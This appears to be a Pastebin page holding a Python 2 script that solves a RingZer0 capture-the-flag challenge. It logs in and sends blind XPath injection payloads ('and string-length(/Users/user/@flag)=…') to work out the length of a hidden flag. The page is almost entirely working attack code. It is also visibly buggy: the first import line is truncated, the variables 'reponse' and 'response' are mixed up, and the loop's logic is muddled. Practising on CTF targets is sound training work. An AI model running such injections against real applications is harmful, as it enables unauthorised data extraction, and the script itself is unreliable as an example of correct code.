Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- rt urllib
- import urllib2
- import cookielib
- #url challenge et site
- chall = "challenges/83?u="
- url = "http://ringzer0team.com/"
- #data de login
- username = "hohoohohoho"
- password = "hehehhehohohohohoh"
- data = urllib.urlencode({"username": username, "password": password})
- cookie = cookielib.CookieJar()
- web = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
- web.open(url+"login",data)
- tab = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$&()*,-./:;<=>?@[]^_{|}~";
- reponse= ""
- trouve=0
- i=0
- taille=0
- while trouve != 1 :
- injection="and string-length(/Users/user/@flag)="+str(i)+"][""a""=""a"
- source = web.open(url+chall+injection).read()
- response = source.find("does")
- if (response == -1):
- print reponse
- trouve=1
- exit
- else:
- i=i+1
- print "Voila"
- print i
- print trouve
Add Comment
Please, Sign In to add comment